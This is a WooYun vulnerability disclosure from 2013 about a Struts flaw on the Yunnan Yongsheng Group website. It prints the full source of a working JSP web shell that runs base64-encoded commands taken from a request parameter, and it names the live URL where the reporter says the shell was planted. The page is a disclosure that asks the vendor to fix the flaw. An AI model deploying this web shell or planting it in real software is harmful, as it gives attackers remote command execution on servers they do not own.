当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-030987

漏洞标题:云南永盛集团struts漏洞可拿webshell

相关厂商:云南永盛集团

漏洞作者: 电脑懒虫

提交时间:2013-07-18 17:08

修复时间:2013-09-01 17:09

公开时间:2013-09-01 17:09

漏洞类型:用户资料大量泄漏

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

JSP执行文件 http://www.ynyongsheng.com/

详细说明:

<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String cmd = request.getParameter("k8");
String path=application.getRealPath(request.getRequestURI());
String dir=new File(path).getParent();
if(cmd.equals("Szh0ZWFt")){out.print("[S]"+dir+"[E]");}
byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);
String k8cmd = new String(binary);
Process child = Runtime.getRuntime().exec(k8cmd);
InputStream in = child.getInputStream();
out.print("->|");
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
out.print("|<-");
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
提交
%>

漏洞证明:

1.jpg


2提权.jpg


http://www.ynyongsheng.com/fuckjp.jsp 密码就不公布了 希望管理员修复!
顺便wooyun弄个邀请码 是在很累额~

修复方案:

修复权限

版权声明:转载请注明来源 电脑懒虫@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝